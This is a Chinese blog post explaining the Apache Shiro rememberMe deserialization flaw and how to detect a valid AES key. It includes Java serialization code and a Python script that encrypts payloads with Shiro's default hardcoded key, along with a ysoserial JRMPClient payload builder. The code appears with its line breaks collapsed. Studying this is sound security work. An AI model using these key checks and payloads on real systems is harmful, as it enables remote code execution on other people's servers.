一、shiro漏洞原理

  • Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

  • 升级shiro版本并不能根本解决反序列化漏洞,代码复用会直接导致项目密钥泄漏,从而造成反序列化漏洞。针对公开的密钥集合,我们可以在github上搜索到并加以利用。(搜索关键词:"securityManager.setRememberMeManager(rememberMeManager); Base64.decode(“或"setCipherKey(Base64.decode(”)

二、检测shiro反序列化漏洞的key值的方法

我们如何获知选择的密钥是否与目标匹配呢?有一种思路是:当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

那么具体的检测方法一般包括如下几种:

  • 第一种是利用URLDNS进行检测https://github.com/LuckyC4t/shiro-urldns/blob/master/src/main/java/luckycat/shirourldns/URLDNS.java

  • 第二种利用命令执行进行检测  通过执行ping命令来检测。

  • 第三种使用SimplePrincipalCollection序列化后进行检测(XCheck,即Xray Check)通过使用SimplePrincipalCollection序列化来进行检测,key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

1.密钥不正确

  • Key不正确,解密时org.apache.shiro.crypto.JcaCipherService#crypt抛出异常

  • 进而走进org.apache.shiro.web.servlet.impleCookie#removeFrom方法,在返回包中添加了rememberMe=deleteMe字段

  • 于是获得的返回包包含了Set-Cookie:rememberMe=deleteMe字段。

2.类型转换异常

  • org.apache.shiro.mgt.AbstractRememberMeManager#deserialize进行数据反序列化,返回结果前有对反序列化结果对象做PrincipalCollection的强制类型转换。

  • 可以看到类型转换报错,因为我们的反序列化结果对象与PrincipalCollection并没有继承关系

  • 反序列化异常后同样捕捉到异常,填到报错异常中。

  • 紧接着也跳到了removeFrom中,添加响应头。

  • 然后看响应头也同样添加了rememberMe=deleteMe

3.检测方法(XCheck,即Xray Check)

如上分析,我么只需要构造一个类型继承了PrincipalCollection的类,这样在反序列化是转换为PrincipalCollection时就不会报错。通过实现关系查看,SimplePrincipalCollection和SimplePrincipalMap均符合要求。

  • 那么构造这两个对象对象中的其中一个进行序列化。

import org.apache.shiro.subject.SimplePrincipalCollection;import org.apache.shiro.subject.SimplePrincipalMap;import java.io.FileOutputStream;import java.io.ObjectOutputStream;public class SimplePrincipalCollectionTest {public static void main(String[] args) throws Exception {SimplePrincipalMap simplePrincipalMap = new SimplePrincipalMap();//        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));oos.writeObject(simplePrincipalMap);oos.close();}}
  • 将序列化号的文件用写好的脚本进行AES加密并且编码。

import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESdef get_file_data(filename):with open(filename,'rb') as f:data = f.read()return datadef aes_enc(data):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key  =  "kPH+bIxk5D2deZiIxcaaaA=="mode =  AES.MODE_CBCiv   =  uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))return ciphertextdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS   = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key  =  "kPH+bIxk5D2deZiIxcaaaA=="mode =  AES.MODE_CBCiv   =  uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# test.bin为编译好的序列化链的内容data = get_file_data("test.bin")print(aes_enc(data))

  • 将编码好的payload通过rememberMe字段发送,如果密钥是正确的,则相应包中就不会存在rememberMe=deleteMe的响应头。

shiro漏洞原理以及检测key值原理相关推荐

  1. java Hashset去重原理及HashMap key唯一原理

    如下,set中添加重复元素是不可以的,如下 php被添加了2次,但是输出的时候只有一次,那么其去重的原理是什么呢? public class Test {public static void main ...

  2. 三线压力传感器原理_电喷摩托车进气压力传感器原理与检测

    功能:检测发动机的进气压力,判断进气行程和负荷状况,用于ECU决定喷油时间和点火正时. 原理:利用膜片弯曲,造成电阻变化,检测压力. 故障现象:低速不良:动力不足,耗油,冒黑烟:容易熄火. 故障原因: ...

  3. SYN攻击原理以及检测防范技术

    SYN攻击原理以及检测防范技术 据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法.相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SY ...

  4. 【Vue】基础系列(五)列表渲染v-for | key的原理 | 数组 | 对象 | 删除替换 | 过滤与排序

    1. 列表显示 v-for指令 用于展示列表数据 语法:v-for="(item, index) in xxx" :key="yyy" 可遍历:数组.对象.字符 ...

  5. Fast R-CNN论文原理+目标检测笔记(二)

    文章目录 Fast R-CNN 1. SPPnets 2. ROI池化层 2.1 介绍 2.2 ROI池化层原理 3. Fast R-CNN的原理 Fast R-CNN 论文摘要:This paper ...

  6. 解析电磁炉保护与检测电路工作原理

    解析电磁炉保护与检测电路工作原理 1 电网电压检测.高压检测保护电路 电网电压检测.高压检测保护电路原理如图1 所示. 电网电压检测电路主要由D101.D102.R101.R102.R103.C101 ...

  7. Flutter —— key 的原理

    Flutter -- key 的原理 1. Key 的原理 2. Key 的 探究 3. GlobalKey 之前的文章中有的类故意没有写Key,那么这个Key有什么作用呢?今天来探究一下. 1. K ...

  8. SQL注入(一)之原理与检测

    一 SQL注入攻击原理 01 注射式攻击的原理 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作;注入攻击属于服务端攻击,他与操作系统.数据库类型.脚本语言类型无关总之一句话: 注入产生的原 ...

  9. 6种肤色检测方法的原理及实现(opencv, C++)

    6种肤色检测方法的原理及实现(opencv, C++) Mr Qin 分类:机器视觉 个人专栏:图像处理 发布时间 2021.06.18 阅读数 2024 评论数 0 0 简介: 本博文首发csdn链 ...

最新文章

  1. Swift学习 OOP三大特性:继承、多态、封装
  2. 在你的 iOS App中 使用 OpenSSL 库 转发
  3. 网工视频13第13章.计算机系统开发运行与配置疑难问题
  4. 黑马程序员—————— 随机访问流
  5. vs2015配置boost c++
  6. el vue 手机号_Vue+element-ui+axios实现登录注册接口(一)
  7. 微信小程序---选项卡
  8. c语言简单的对话机器人软件,示例:聊天机器人
  9. 钟平老师的逻辑英语语法
  10. 如何评价杭州阿里、海康、网易等组成 HR 联盟?
  11. 华为云OBS创建对象时以HTTP方式通知订阅终端
  12. AOSP、AOKP、CM ROM 究竟有哪些区别
  13. NVIDIA 460.79版显卡驱动发布:全力优化《赛博朋克2077》
  14. ps去除图片中的文字、图层锁定不能解开问题
  15. 青海国家沙漠公园分布及功能区划
  16. CAFFE源码学习之优化方法solver
  17. Android进阶三部曲 第三部《Android进阶指北》已完稿
  18. 2020中兴开发岗笔试题
  19. win7怎么打开注册表
  20. 5、每日搞笑段子API接口,免费好用

热门文章

  1. Java 设计模式(十三):代理模式
  2. Mysql修改数据库名方法
  3. 易语言可以编译c语言,刷屏软件?其实易语言也可以做这种软件
  4. 实现图片跟随鼠标移动
  5. P2708 硬币翻转——题解2020.10.11
  6. JavaScript如何打开exe文件
  7. 百度云:当AI遇到视频
  8. 【技术分享】一:搜索排序—概述
  9. CF1129C Morse Code
  10. TypeScript中any与unknown的区别